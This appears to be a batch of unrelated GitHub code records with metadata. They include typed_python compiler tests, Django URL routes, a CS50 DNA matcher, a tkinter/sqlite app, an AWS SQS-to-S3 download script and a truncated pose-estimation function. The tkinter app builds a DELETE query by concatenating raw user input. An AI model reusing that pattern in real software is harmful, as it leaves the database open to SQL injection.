default)\n\n # looking up should work\n self.assertEqual(get(d, 1), 2)\n self.assertEqual(get_default(d, 1, None), 2)\n self.assertEqual(getitem(d, 1), 2)\n\n # by default, 'get' returns None\n self.assertEqual(get(d, 2), None)\n self.assertEqual(d.get(2), None)\n\n # and can be overridden with arbitrary types\n self.assertEqual(get_default(d, 2, 123.5), 123.5)\n self.assertEqual(d.get(2, 123.5), 123.5)\n\n # getitem will throw an exception\n with self.assertRaises(KeyError):\n getitem(d, 2)\n\n # keys don't coerce types like float to int.\n with self.assertRaises(TypeError):\n get(d, 1.5)\n\n with self.assertRaises(TypeError):\n get_default(d, 1.5, None)\n\n with self.assertRaises(TypeError):\n getitem(d, 1.5)\n\n def test_const_dict_contains(self):\n for dtype in dictTypes:\n @Compiled\n def compiledIn(x: dtype, y: dtype.KeyType):\n return y in x\n\n @Compiled\n def compiledNotIn(x: dtype, y: dtype.KeyType):\n return y not in x\n\n d = makeSomeValues(dtype, 10)\n bigger_d = makeSomeValues(dtype, 20)\n\n for key in bigger_d:\n self.assertEqual(key in d, compiledIn(d, key))\n self.assertEqual(key not in d, compiledNotIn(d, key))\n\n @Compiled\n def compiledContains(x: ConstDict(int, int), y: int):\n return y in x\n\n self.assertTrue(compiledContains({k*2: k*2 for k in range(10)}, 2))\n self.assertFalse(compiledContains({k*2: k*2 for k in range(10)}, 3))\n self.assertTrue(compiledContains({k*2: k*2 for k in range(10)}, 4))\n self.assertFalse(compiledContains({k*2: k*2 for k in range(10)}, 5))\n\n @flaky(max_runs=3, min_passes=1)\n def test_const_dict_loops_perf(self):\n def loop(x: ConstDict(int, int)):\n res = 0\n i = 0\n while i < len(x):\n j = 0\n while j < len(x):\n res = res + x[j] + x[i]\n j = j + 1\n i = i + 1\n return res\n\n compiledLoop = Compiled(loop)\n\n aBigDict = {i: i % 20 for i in range(1000)}\n compiledLoop(aBigDict)\n\n t0 = time.time()\n interpreterResult = loop(aBigDict)\n t1 = time.time()\n compiledResult = compiledLoop(aBigDict)\n t2 = time.time()\n\n speedup = (t1-t0)/(t2-t1)\n\n self.assertEqual(interpreterResult, compiledResult)\n\n # I get about 3x. This is not as big a speedup as some other things we do\n # because most of the time is spent in the dictionary lookup, and python's\n # dict lookup is quite fast.\n print(\"ConstDict lookup speedup is \", speedup)\n self.assertGreater(speedup, 1.75)\n\n def test_const_dict_key_error(self):\n @Compiled\n def lookup(x: ConstDict(int, int), y: int):\n return x[y]\n\n self.assertEqual(lookup({1: 2}, 1), 2)\n with self.assertRaises(Exception):\n lookup({1: 2}, 2)\n\n def test_const_dict_unsafe_operations(self):\n T = ConstDict(int, int)\n\n t = T({1: 2, 3: 4})\n\n @Entrypoint\n def getkey(d, i):\n return d.get_key_by_index_unsafe(i)\n\n @Entrypoint\n def getvalue(d, i):\n return d.get_value_by_index_unsafe(i)\n\n self.assertEqual(getkey(t, 0), 1)\n self.assertEqual(getkey(t, 1), 3)\n self.assertEqual(getvalue(t, 0), 2)\n self.assertEqual(getvalue(t, 1), 4)\n\n TOI = TupleOf(int)\n T2 = ConstDict(TOI, TOI)\n\n toi = TOI((1, 2, 3))\n self.assertEqual(_types.refcount(toi), 1)\n\n t2 = T2({toi: toi})\n self.assertEqual(_types.refcount(toi), 3)\n\n toi_copy = getkey(t2, 0)\n self.assertEqual(_types.refcount(toi), 4)\n\n toi_copy_2 = getvalue(t2, 0)\n self.assertEqual(_types.refcount(toi), 5)\n\n toi_copy = toi_copy_2 = None # noqa\n t2 = None\n\n self.assertEqual(_types.refcount(toi), 1)\n\n def test_const_dict_comparison(self):\n @Entrypoint\n def eq(x, y):\n return x == y\n\n @Entrypoint\n def neq(x, y):\n return x != y\n\n @Entrypoint\n def lt(x, y):\n return x < y\n\n T = ConstDict(str, str)\n t1 = T({'1': '2'})\n t2 = T({'1': '3'})\n\n self.assertTrue(eq(t1, t1))\n self.assertFalse(neq(t1, t1))\n\n self.assertFalse(eq(t1, t2))\n self.assertTrue(neq(t1, t2))\n\n def test_const_dict_iteration(self):\n def iterateConstDict(cd):\n res = ListOf(type(cd).KeyType)()\n\n for k in cd:\n res.append(k)\n\n return res\n\n def iterateKeysObject(cd):\n res = ListOf(type(cd).KeyType)()\n\n for k in cd.keys():\n res.append(k)\n\n return res\n\n def iterateValuesObject(cd):\n res = ListOf(type(cd).ValueType)()\n\n for k in cd.values():\n res.append(k)\n\n return res\n\n def iterateItemsObject(cd):\n res = ListOf(Tuple(type(cd).KeyType, type(cd).ValueType))()\n\n for k in cd.items():\n res.append(k)\n\n return res\n\n T = ConstDict(int, int)\n t0 = T()\n t1 = T({1: 2})\n t2 = T({k * 2: k * 2 for k in range(10)})\n t3 = T({k * 2: k * 5 for k in range(10)})\n\n for kf in [iterateConstDict, iterateKeysObject, iterateValuesObject, iterateItemsObject]:\n for toCheck in [t0, t1, t2, t3]:\n if len(toCheck):\n self.assertEqual(_types.refcount(toCheck), 1)\n\n self.assertEqual(kf(toCheck), Entrypoint(kf)(toCheck), (kf, toCheck))\n\n if len(toCheck):\n self.assertEqual(_types.refcount(toCheck), 1)\n\n T2 = ConstDict(TupleOf(int), TupleOf(str))\n atup = TupleOf(int)((1, 2, 3))\n atup2 = TupleOf(str)(('1', '2', '3', '4'))\n\n t0 = T2({atup: atup2})\n\n self.assertEqual(_types.refcount(atup), 2)\n self.assertEqual(_types.refcount(atup2), 2)\n\n for kf in [iterateConstDict, iterateKeysObject, iterateValuesObject, iterateItemsObject]:\n Entrypoint(kf)(t0)\n\n self.assertEqual(_types.refcount(atup), 2)\n self.assertEqual(_types.refcount(atup2), 2)\n\n def test_const_dict_iteration_perf(self):\n def loop(x: ConstDict(int, int)):\n res = 0\n for k1 in x.values():\n for k2 in x.values():\n res = res + k1 + k2\n return res\n\n compiledLoop = Compiled(loop)\n\n aBigDict = {i: i % 20 for i in range(3000)}\n compiledLoop(aBigDict)\n\n t0 = time.time()\n interpreterResult = loop(aBigDict)\n t1 = time.time()\n compiledResult = compiledLoop(aBigDict)\n t2 = time.time()\n\n speedup = (t1-t0)/(t2-t1)\n\n self.assertEqual(interpreterResult, compiledResult)\n\n # I get about 70x\n print(\"ConstDict iteration speedup is \", speedup)\n self.assertGreater(speedup, 2)\n\n def test_yield_from_const_dict(self):\n def iterateTwice(d):\n for k in d:\n yield k\n yield k\n\n @Entrypoint\n def toList(d):\n res = ListOf(d.KeyType)()\n\n for k in iterateTwice(d):\n res.append(k)\n\n return res\n\n assert toList(ConstDict(int, float)({1: 2.2})) == [1, 1]\n\n def test_yield_from_const_dict_values(self):\n def iterateTwice(d):\n for k in d.values():\n yield k\n yield k\n\n @Entrypoint\n def toList(d):\n res = ListOf(d.ValueType)()\n\n for k in iterateTwice(d):\n res.append(k)\n\n return res\n\n assert toList(ConstDict(int, float)({1: 2.2})) == [2.2, 2.2]\n\n def test_yield_from_const_dict_items(self):\n def iterateTwice(d):\n for k in d.items():\n yield k\n yield k\n\n @Entrypoint\n def toList(d):\n res = ListOf(Tuple(d.KeyType, d.ValueType))()\n\n for k in iterateTwice(d):\n res.append(k)\n\n return res\n\n assert toList(ConstDict(int, float)({1: 2.2})) == [(1, 2.2), (1, 2.2)]\n\n def test_convert_dict_to_const_dict(self):\n def f():\n res = Dict(object, object)({1: '2', 3: '4', -3: '6'})\n\n return ConstDict(int, str)(res)\n\n assert f() == Entrypoint(f)()\n\n def test_const_dict_add(self):\n @Entrypoint\n def addDicts(d1, d2):\n return d1 + d2\n\n T = ConstDict(int, int)\n\n someDicts = [\n {1: 2, 3: 4},\n {1: 4},\n {1: 2, 2: 4, 3: 8},\n {2: 3, 5: 1, 4: 9, 3: 6},\n {},\n {7: 8},\n {7: 8, 2: 3},\n {7: 8, 2: 4},\n ]\n\n someDicts = [T(x) for x in someDicts]\n\n for d1 in someDicts:\n for d2 in someDicts:\n assert d1 + d2 == addDicts(d1, d2)\n\n def test_const_dict_sub(self):\n @Entrypoint\n def subKey(dct, key):\n return dct - key\n\n T = ConstDict(int, int)\n\n someDicts = [\n {1: 2, 3: 4},\n {1: 2, 3: 4, 5: 6},\n {1: 4},\n {1: 2, 2: 4, 3: 8},\n {2: 3, 5: 1, 4: 9, 3: 6},\n {},\n {7: 8},\n {7: 8, 2: 3},\n {7: 8, 2: 4},\n ]\n\n someDicts = [T(x) for x in someDicts]\n\n for d1 in someDicts:\n for d2 in someDicts:\n assert d1 - TupleOf(int)(d2) == subKey(d1, TupleOf(int)(d2))\n\n def test_construct_const_dict_from_dict_constant(self):\n def makeIt0():\n return ConstDict(int, float)({})\n\n def makeIt1():\n return ConstDict(int, float)({1: 2})\n\n def makeIt2():\n return ConstDict(int, float)({1: 2, 0: 4})\n\n assert Entrypoint(makeIt0)() == makeIt0()\n assert Entrypoint(makeIt1)() == makeIt1()\n assert Entrypoint(makeIt2)() == makeIt2()\n","repo_name":"APrioriInvestments/typed_python","sub_path":"typed_python/compiler/tests/const_dict_compilation_test.py","file_name":"const_dict_compilation_test.py","file_ext":"py","file_size_in_byte":12553,"program_lang":"python","lang":"en","doc_type":"code","stars":195,"dataset":"github-code","pt":"61"} +{"seq_id":"1088144191","text":"from django.urls import path\nfrom django.views.generic.base import RedirectView\n\nfrom .views import (PostDetailView, PostDetailView,\n PostCreateView, PostUpdateView,\n PostDeleteView, UserListView,\n PostSearchView)\n\nurlpatterns = [\n path('', RedirectView.as_view(url='/')),\n path('/', UserListView.as_view(), name='user'),\n path('/post', PostDetailView.as_view(), name='detail'),\n path('/update/', PostUpdateView.as_view(), name='update'),\n path('/delete/', PostDeleteView.as_view(), name='delete'),\n path('create/newpost', PostCreateView.as_view(), name='create'),\n path('search/new', PostSearchView.as_view(), name='search')\n]\n","repo_name":"Mahmoudz11/blog","sub_path":"blog/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":744,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"10275715511","text":"import csv\nimport sys\n\n# Check for correct user input\nif len(sys.argv) < 3:\n print (\"Usage: python dna.py data.csv sequence.txt\")\n sys.exit()\n\n# Open & read DATA sequence\ndat = open(sys.argv[1], \"r\")\ndstring = csv.reader(dat)\nheader = next(dstring)\n\n# Open & read sequence\nsqc = open(sys.argv[2], \"r\")\nsstring = sqc.read()\n\n# Create base list to STR counts\nsequence = []\n\n# Read headers from database and update structure\nfor i in header:\n if i != \"name\":\n sequence.append(i)\n\n# Check sequence maximun count\nm = 0\nfor j in sequence:\n high = 0\n k = len(j)\n\n # Read sequence to assign values\n for i in range(len(sstring)):\n true = 0\n count = 0\n l = 0\n\n # Check until there's no match\n while true == 0:\n\n # Get size of sequence and string to compare\n temp = sstring[i + l: i + k + l]\n\n # Match found\n if j == temp:\n count += 1\n l += len(j)\n continue\n\n # No Match\n elif count > high:\n high = count\n true = 1\n\n # Assign j highest value found\n sequence[m] = high\n m += 1\n\n# Compare sequence with subjects to determine if it's it's dna\nfor row in dstring:\n pos = 0\n name = 0\n match = 0\n for column in row:\n\n # First column is the name\n if pos == 0:\n name = column\n\n # Compare values\n elif int(column) == sequence[pos - 1]:\n match += 1\n pos += 1\n\n # Subject mathces everything\n if match == (len(header) - 1):\n print(name)\n exit()\n\n# No match found\nprint(\"No match\")","repo_name":"juan518munoz/CS50x","sub_path":"pset6/dna/dna.py","file_name":"dna.py","file_ext":"py","file_size_in_byte":1659,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"1762702162","text":"from django.urls import path\nfrom .views import ItemListView, ItemDetailView, ShoppingCartView, CreateCheckoutSessionView, CancelView, SuccessView\n\nfrom django.conf import settings\nfrom django.conf.urls.static import static\n\napp_name = 'stripePage'\nurlpatterns = [\n path('', ItemListView.as_view(), name='item_list'),\n path('item/', ItemDetailView.as_view(), name='item_detail'),\n path('cart', ShoppingCartView.as_view(), name='cart'),\n path('cart/add/', ShoppingCartView.cart_add, name='cart_add'),\n path('cart/remove/', ShoppingCartView.cart_remove, name='cart_remove'),\n path('cancel/', CancelView.as_view(), name='cancel'),\n path('success/', SuccessView.as_view(), name='success'),\n path('create-checkout-session/', CreateCheckoutSessionView.as_view(), name='create-checkout-session'),\n\n] + static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT)","repo_name":"Ilyshkadwaushka/stripeProject","sub_path":"stripePage/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":914,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"28758646330","text":"\"\"\"\n给定两个字符串 s 和 t ,编写一个函数来判断 t 是否是 s 的字母异位词。\n\n示例 1:\n\n输入: s = \"anagram\", t = \"nagaram\"\n输出: true\n示例 2:\n\n输入: s = \"rat\", t = \"car\"\n输出: false\n说明:\n你可以假设字符串只包含小写字母。\n\"\"\"\n\n\"\"\"\n解题思路:\n\t1、先把字符串s依次遍历存入一个dict中,key为字符,value为每个字符出现的次数\n\t2、再把字符串t依次遍历存入一个dict中,key为字符,value为每个字符出现的次数\n\t3、比较两个dict,相同为True,不同为False\n\"\"\"\n\n\nclass Solution:\n def isAnagram(self, s: str, t: str) -> bool:\n dic = {}\n dic1 = {}\n for i in s:\n if dic.get(i) is None:\n dic[i] = 1\n else:\n dic[i] += 1\n for i in t:\n if dic1.get(i) is None:\n dic1[i] = 1\n else:\n dic1[i] += 1\n if dic == dic1:\n return True\n return False","repo_name":"chenjb04/fucking-algorithm","sub_path":"LeetCode/字符串/242有效的字母异位词.py","file_name":"242有效的字母异位词.py","file_ext":"py","file_size_in_byte":998,"program_lang":"python","lang":"zh","doc_type":"code","stars":5,"dataset":"github-code","pt":"61"} +{"seq_id":"5560866495","text":"from PySide6 import QtCore, QtWidgets\nfrom PySide6.QtCore import Slot\nfrom PySide6.QtGui import QIcon, QDesktopServices\nfrom PySide6.QtWidgets import *\n\nfrom sound_page import SoundPage\nfrom hud_page import HudPage\nfrom cfg_page import CfgPage\n\n\nclass MainWindow(QMainWindow):\n\n def __init__(self):\n super().__init__()\n self.setWindowIcon(QIcon('img/logo.png'))\n self.resize(870, 600)\n self.setWindowTitle('Team Fortress Customization Manager')\n self.version = '0.0.1'\n\n # Upper part (buttons)\n buttons_layout = QtWidgets.QHBoxLayout()\n buttons_layout.setAlignment(QtCore.Qt.AlignCenter)\n\n buttons = (QtWidgets.QPushButton('HUD'),\n QtWidgets.QPushButton('Sounds'),\n QtWidgets.QPushButton('CFGs'))\n\n for i in buttons:\n buttons_layout.addWidget(i)\n\n get_info_btn = QPushButton('?')\n get_info_btn.setFixedSize(20, 20)\n get_info_btn.clicked.connect(self.show_info)\n\n # Lower part\n stacked_widget = QtWidgets.QStackedWidget()\n pages = [HudPage(), SoundPage(), CfgPage()]\n for i in pages:\n stacked_widget.addWidget(i)\n stacked_widget.setCurrentIndex(0)\n\n # Connect signals\n # The following code won't work [i always = (len(buttons) - 1)]\n # for i in range(len(buttons)):\n # buttons[i].clicked.connect(lambda: stacked_widget.setCurrentIndex(i))\n buttons[0].clicked.connect(lambda: stacked_widget.setCurrentIndex(0))\n buttons[1].clicked.connect(lambda: stacked_widget.setCurrentIndex(1))\n buttons[2].clicked.connect(lambda: stacked_widget.setCurrentIndex(2))\n\n main_layout = QtWidgets.QVBoxLayout()\n btns_layout2 = QHBoxLayout()\n btns_layout2.addLayout(buttons_layout)\n btns_layout2.addWidget(get_info_btn)\n\n main_layout.addLayout(btns_layout2)\n main_layout.addWidget(stacked_widget)\n central_widget = QWidget()\n central_widget.setLayout(main_layout)\n self.setCentralWidget(central_widget)\n\n @Slot()\n def show_info(self):\n\n label = QLabel('Version: ' + self.version + '\\nStill beta!')\n\n github_page_btn = QPushButton('Visit Github page')\n github_page_btn.clicked.connect(\n lambda: QDesktopServices.openUrl('https://github.com/t1var/tf-customization-manager'))\n\n layout = QVBoxLayout()\n layout.addWidget(label, alignment=QtCore.Qt.AlignHCenter)\n layout.addWidget(github_page_btn)\n\n w = QDialog(self)\n w.setLayout(layout)\n w.exec()\n","repo_name":"aluank/tf-customization-manager","sub_path":"main_window.py","file_name":"main_window.py","file_ext":"py","file_size_in_byte":2605,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"4925649831","text":"\nimport boto3\nimport os\n\n\ndef main():\n client = boto3.client('sqs', region_name='us-east-1')\n S3 = boto3.resource('s3', region_name='us-east-1')\n\n\n\n response = client.receive_message(\n QueueUrl='https://sqs.us-east-1.amazonaws.com/637137674144/RF_EC2_queue2',\n MaxNumberOfMessages=1,\n WaitTimeSeconds=5,\n )\n if response is not None:\n print('received resopnse')\n \n raw_res = eval(str(response))\n print(raw_res)\n \n if str('Messages') in response:\n res = response['Messages'][0]['Body']\n res = eval(res)\n print(res)\n file_name = str(res['object']) \n print(file_name)\n file_name_split = file_name.split('/')\n save_dir = file_name_split[-5]\n air_or_ground = file_name_split[-2]\n print(air_or_ground)\n f = open('/home/ec2-user/save_dirs.txt', 'w')\n f.write(save_dir)\n f.close()\n f2 = open('/home/ec2-user/air_or_ground.txt', 'w')\n f2.write(air_or_ground)\n f2.close()\n check_folder = os.path.isdir('/home/ec2-user/' + save_dir)\n if not check_folder:\n os.makedirs('/home/ec2-user/' + save_dir)\n \n #file1.write(str_append)\n else:\n pass\n save_name = '/home/ec2-user/' + save_dir + '/' + file_name_split[-1]\n # download file from S3 to EC2\n S3.meta.client.download_file('rf-training-1', file_name, save_name)\n print('Downloading file: ' + str(file_name))\n receipt_handle = str(response['Messages'][-1]['ReceiptHandle'])\n del_response = client.delete_message(QueueUrl='https://sqs.us-east-1.amazonaws.com/637137674144/RF_EC2_queue2',ReceiptHandle=receipt_handle)\n print('Removing message from queue with id: ' + str(receipt_handle))\n return 200\n else:\n print('response received did not contain a valid payload')\n error_response1 = client.send_message(\n QueueUrl='https://sqs.us-east-1.amazonaws.com/637137674144/rf_ec2_errors',\n MessageBody='DOWNLOAD IMAGES: response received did not contain a valid payload')\n return 0\n else:\n print('no response received. script will now terminate.')\n error_response2 = client.send_message(\n QueueUrl='https://sqs.us-east-1.amazonaws.com/637137674144/rf_ec2_errors',\n MessageBody='DOWNLOAD IMAGES: no response received')\n return 0\n \n\n print('script has ended.')\n\nif __name__ == '__main__':\n main()\n\n","repo_name":"richiefoster/image_processing_app","sub_path":"download_images.py","file_name":"download_images.py","file_ext":"py","file_size_in_byte":2691,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"25220736751","text":"#!/usr/bin/env python\n\n\"\"\"\nTake original annotations spreadsheet and create a GenBank-compatible features\ntable, optionally excluding a single entry (via the first command-line\nargument). This is very much dependent on this specific annotation\nspreadsheet!\n\"\"\"\n\nimport csv\nimport sys\n\nwriter = csv.writer(sys.stdout, delimiter='\\t')\nreader = csv.reader(sys.stdin, delimiter='\\t')\n\n# First five columns in input:\n# Sequence Name\n# Name\n# Type\n# Minimum\n# Maximum\n\n# A seqID to exclude from parsing.\n# (We have a custom .tbl chunk for SY94.)\ntry:\n exclude = sys.argv[1]\nexcept IndexError:\n exclude = None\n\nnext(reader) # skip header\nseqid_current = None\nfeature_current = None\nfor line in reader:\n seqid = line[0]\n modifier = line[1]\n feature = line[2]\n start = line[3]\n stop = line[4]\n if exclude and exclude == seqid:\n continue\n # For new seqid, write SeqID line, and ensure we'll take in new Feature\n # line too.\n if not seqid_current or seqid_current != seqid:\n seqid_current = seqid\n feature_current = None\n writer.writerow([\">Feature %s\" % seqid, \"\", \"\", \"\", \"\"])\n # For new feature, write Feature line\n #if not feature_current or feature_current != feature:\n # feature_current = feature\n # Without this, we get an error:\n # \"ERROR: Bad location on feature tRNA (start -1, stop -1)\"\n # and there will be no tRNA entry in the output.\n if feature == \"tRNA\":\n stop = stop.strip(\"<>\")\n writer.writerow([start, stop, feature, \"\", \"\"])\n # Anything else is modifier line\n # D-loop should have no modifier specified.\n # tRNA should use the modifier name \"product\".\n if feature == \"tRNA\":\n mod_name = \"product\"\n writer.writerow([\"\", \"\", \"\", mod_name, modifier])\n elif feature == \"gene\":\n mod_name = \"gene\"\n writer.writerow([\"\", \"\", \"\", mod_name, modifier])\n elif feature == \"D-loop\":\n pass\n # That's everything I've tried to handle here.\n else:\n raise Warning(\"feature modifier not known: %s\" % modifier)\n mod_name = modifier\n writer.writerow([\"\", \"\", \"\", mod_name, modifier])\n","repo_name":"ShawHahnLab/genbank-sub-20181109-dloop","sub_path":"convert_tbl.py","file_name":"convert_tbl.py","file_ext":"py","file_size_in_byte":2179,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"42233622917","text":"from tkinter import *\nimport sqlite3 as sq\n\nroot = Tk()\nroot.geometry(\"250x400\")\nroot.title(\"database cek\")\n\nconek = sq.connect(\"deldata.db\")\ncur = conek.cursor()\n# cur.execute(\"\"\"CREATE TABLE IF NOT EXISTS baru(\n# Name text,\n# Age int,\n# Hometown text\n# )\"\"\")\ndef mengisidata():\n conek = sq.connect(\"deldata.db\")\n cur = conek.cursor()\n cur.execute(\"SELECT *, oid FROM baru\")\n rec = cur.fetchall()\n cetak1 = ''\n cetak2 = ''\n for i in rec:\n cetak1 += str(i[3])+'\\n'\n cetak2 += str(i[0])+'\\n'\n global rec_display\n global rec_display2\n\n rec_display = Label(root,text=cetak1)\n rec_display.grid(row=10,column=0)\n rec_display2 = Label(root,text=cetak2)\n rec_display2.grid(row=10,column=1)\n\n conek.commit()\n conek.close()\n\n\nexist_data = True\ndef display_database():\n \n global exist_data\n \n if exist_data == True:\n mengisidata()\n exist_data = False\n \n else: \n rec_display.grid_forget()\n rec_display2.grid_forget()\n exist_data = True\n \n\ndef menghapus():\n conek = sq.connect(\"deldata.db\")\n cur = conek.cursor()\n # if ent_rev in \n cur.execute(\"DELETE from baru where oid =\"+ent_rev.get())\n ent_rev.delete(0,END)\n conek.commit()\n conek.close()\n # display_database()\n\n\ndef submit():\n conek = sq.connect(\"deldata.db\")\n cur = conek.cursor()\n cur.execute(\"INSERT INTO baru VALUEs(:nama,:umur,:asal)\",{\n \"nama\": en1.get(),\n \"umur\" : en2.get(),\n \"asal\":en3.get()\n })\n conek.commit()\n conek.close()\n\n # display_database()\n\n en1.delete(0,END)\n en2.delete(0,END)\n en3.delete(0,END)\n\n\ndef tampil():\n conek = sq.connect(\"deldata.db\")\n cur = conek.cursor()\n judul_cetak = 'Name has been record'\n\n display_database()\n \n conek.commit()\n conek.close()\n\nlbl_judul = Label(root,text=\"DATABASE USER\")\nlbl_judul.grid(row=0,columnspan=2)\n\nlbl1 = Label(root,text=\"nama\")\nlbl2 = Label(root,text=\"umur\")\nlbl3 = Label(root,text=\"asal\")\nlbl1.grid(row=1,column=0)\nlbl2.grid(row=2,column=0)\nlbl3.grid(row=3,column=0)\n\nen1 = Entry()\nen2 = Entry(width=10)\nen3 = Entry()\nen1.grid(row=1,column=1,sticky=\"W\",padx=10)\nen2.grid(row=2,column=1,sticky=\"W\",padx=10)\nen3.grid(row=3,column=1,sticky=\"W\",padx=10)\n\nbtn = Button(root,text=\"submit\",command=submit,padx=40)\nbtn.grid(row=7,columnspan=2,pady=10)\n\nbtn2 = Button(root,text=\"display data\",command=tampil,padx=30)\nbtn2.grid(row =9,columnspan=2,pady=10)\n\nenet_defval = StringVar()\nenet_defval.set(\"id \")\nent_rev = Entry(root,textvariable=enet_defval,width=4)\nent_rev.grid(row=8,column=0,padx=10)\n\nbtn3 = Button(root,text=\"remove item\", command=menghapus)\nbtn3.grid(row =8,column=1)\n\n\nconek.commit()\nconek.close()\n\nroot.mainloop()\n","repo_name":"ReihanWudd/del-ad-display-data","sub_path":"appdata.py","file_name":"appdata.py","file_ext":"py","file_size_in_byte":2817,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"72754282755","text":"# Sandwich Maker\n# sandwichMaker.py - use inputMenu() multiple times to build a sanchwich\n\nimport pyinputplus as pyip\n\ndef sandwichGen():\n\n #Get desired ingredients from user\n ingredients = []\n bread = pyip.inputMenu(['Wheat','White','Sourdough'])\n ingredients.append(bread)\n\n protein = pyip.inputMenu(['Chicken','Turkey','Ham','Tofu'])\n ingredients.append(protein)\n\n cheeseYN = pyip.inputYesNo('Would you like cheese? ')\n if cheeseYN == 'yes':\n cheese = pyip.inputMenu(['Cheddar','Swiss','Mozzarella'])\n ingredients.append(cheese)\n\n for i in ['Mayo','Mustard','Lettuce','Tomato']:\n response = pyip.inputYesNo('Would you like %s? ' % i)\n if response == 'yes':\n ingredients.append(i)\n\n #Calculate price using pricelist and selections\n priceList = {\n 'Wheat':1.25, 'White':1, 'Sourdough':1.50,\n 'Chicken': 2, 'Turkey': 2.15, 'Ham': 1.75, 'Tofu': 2.50,\n 'Cheddar': 1, 'Swiss': 1.25, 'Mozarella': 1.20,\n 'Mayo': 0.5, 'Mustard': 0.25, 'Lettuce': 0.15,'Tomato': 0.25\n }\n \n price = 0\n for item in ingredients:\n price += priceList[item]\n\n print('Thank you. That will be $%.2f.' % price)\n\nsandwichGen()","repo_name":"BabinJ/Automate-The-Boring-Stuff-with-Python-2e","sub_path":"Chapter8/sandwichMaker.py","file_name":"sandwichMaker.py","file_ext":"py","file_size_in_byte":1215,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"520812495","text":"print(\"*** If Else ***\")\nday = \"False\"\n\nif day == \"True\":\n print(\"Hello, World!\")\nelse:\n print(\"Good Night, World!\")\n\nprint(\"*** Iterators ***\")\n\nmy_days = ['Monday', 'Tuesday', 'Wednesday','Thursday', 'Friday']\n\nmy_iter = iter(my_days)\n\nwhile True:\n try:\n print(next(my_iter))\n except StopIteration:\n break","repo_name":"jchomat/playground-q6BcIaR3","sub_path":"src/basics.py","file_name":"basics.py","file_ext":"py","file_size_in_byte":317,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"75542104","text":"import bisect\n\nclass Solution:\n # 每個元素遍歷\n def findTheDistanceValue_slow(self, arr1: list[int], arr2: list[int], d: int) -> int:\n ans = 0\n for num in arr1:\n if all([abs(x - num) > d for x in arr2]) == True:\n ans += 1\n\n return ans\n \n # 二分法。\n def findTheDistanceValue(self, arr1: list[int], arr2: list[int], d: int) -> int:\n arr2 = sorted(arr2)\n ans = 0\n for num1 in arr1:\n index = bisect.bisect_left(arr2, num1)\n arr3 = arr2[0:index]\n arr4 = arr2[index:]\n \n if len(arr3) == 0:\n if abs(arr4[0] - num1) > d:\n ans += 1\n elif len(arr4) == 0:\n if abs(arr3[-1] - num1) > d:\n ans += 1\n else:\n if abs(arr3[-1] - num1) > d and abs(arr4[0] - num1) > d:\n ans += 1\n return ans\n\n\n\n# Solution.findTheDistanceValue(Solution(), [1, 4, 2, 3], [-4, -3, 6, 10, 20, 30], 3)\nSolution.findTheDistanceValue(Solution(), [2, 1, 100, 3], [-5, -2, 10, -3, 7], 6)","repo_name":"PanJianTing/LeetCode","sub_path":"1385_FindTheDistanceValueBetweenTwoArrays.py","file_name":"1385_FindTheDistanceValueBetweenTwoArrays.py","file_ext":"py","file_size_in_byte":1130,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"73182861955","text":"import torchvision\nimport cv2\nimport torch\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom torchvision import transforms as T\nimport math\nfrom pose_estimation import draw_skeleton_per_person\n\nkeypoints_index = ['nose','left_eye','right_eye','left_ear','right_ear','left_shoulder','right_shoulder','left_elbow', 'right_elbow','left_wrist','right_wrist','left_hip','right_hip','left_knee', 'right_knee', 'left_ankle','right_ankle']\n\ndef encontrou_pontos(hx, hy, sx, sy, kx, ky):\n return not(sx == -1 or sy == -1 or hy == -1 or hx == -1 or kx == 1 or ky == -1)\n\ndef draw_keypoints_per_person(img, all_keypoints, all_scores, confs, keypoint_threshold=2, conf_threshold=0.9):\n cmap = plt.get_cmap('rainbow')\n img_copy = img.copy()\n # pick a set of N color-ids from the spectrum\n color_id = np.arange(1,255, 255//len(all_keypoints)).tolist()[::-1]\n # iterate for every person detected\n for person_id in range(len(all_keypoints)):\n # check the confidence score of the detected person\n if confs[person_id]>conf_threshold:\n # grab the keypoint-locations for the detected person\n keypoints = all_keypoints[person_id, ...]\n # grab the keypoint-scores for the keypoints\n scores = all_scores[person_id, ...]\n # iterate for every keypoint-score\n for kp in range(len(scores)):\n if scores[kp]>keypoint_threshold:\n keypoint = tuple(map(int, keypoints[kp, :2].detach().numpy().tolist()))\n color = None\n if(kp == keypoints_index.index('right_knee') or kp == keypoints_index.index('left_knee')):\n color = (0, 0, 255)\n elif (kp == keypoints_index.index('right_shoulder') or kp == keypoints_index.index('left_shoulder')):\n color = (0, 255, 0)\n elif (kp == keypoints_index.index('right_hip') or kp == keypoints_index.index('left_hip')):\n color = (255, 0, 0)\n else:\n color = (255, 255, 255)\n cv2.circle(img_copy, keypoint, 5, color, -1)\n\n keypoints = all_keypoints[person_id, ...]\n scores = all_scores[person_id, ...]\n right_hip = getKeypoint(keypoints, scores, 'right_hip', keypoint_threshold)\n right_shoulder = getKeypoint(keypoints, scores, 'right_shoulder', keypoint_threshold)\n right_knee = getKeypoint(keypoints, scores, 'right_knee', keypoint_threshold)\n\n left_hip = getKeypoint(keypoints, scores, 'left_hip', keypoint_threshold)\n left_shoulder = getKeypoint(keypoints, scores, 'left_shoulder', keypoint_threshold)\n left_knee = getKeypoint(keypoints, scores, 'left_knee', keypoint_threshold)\n \n if(encontrou_pontos(getMedia(left_hip[0], right_hip[0]), 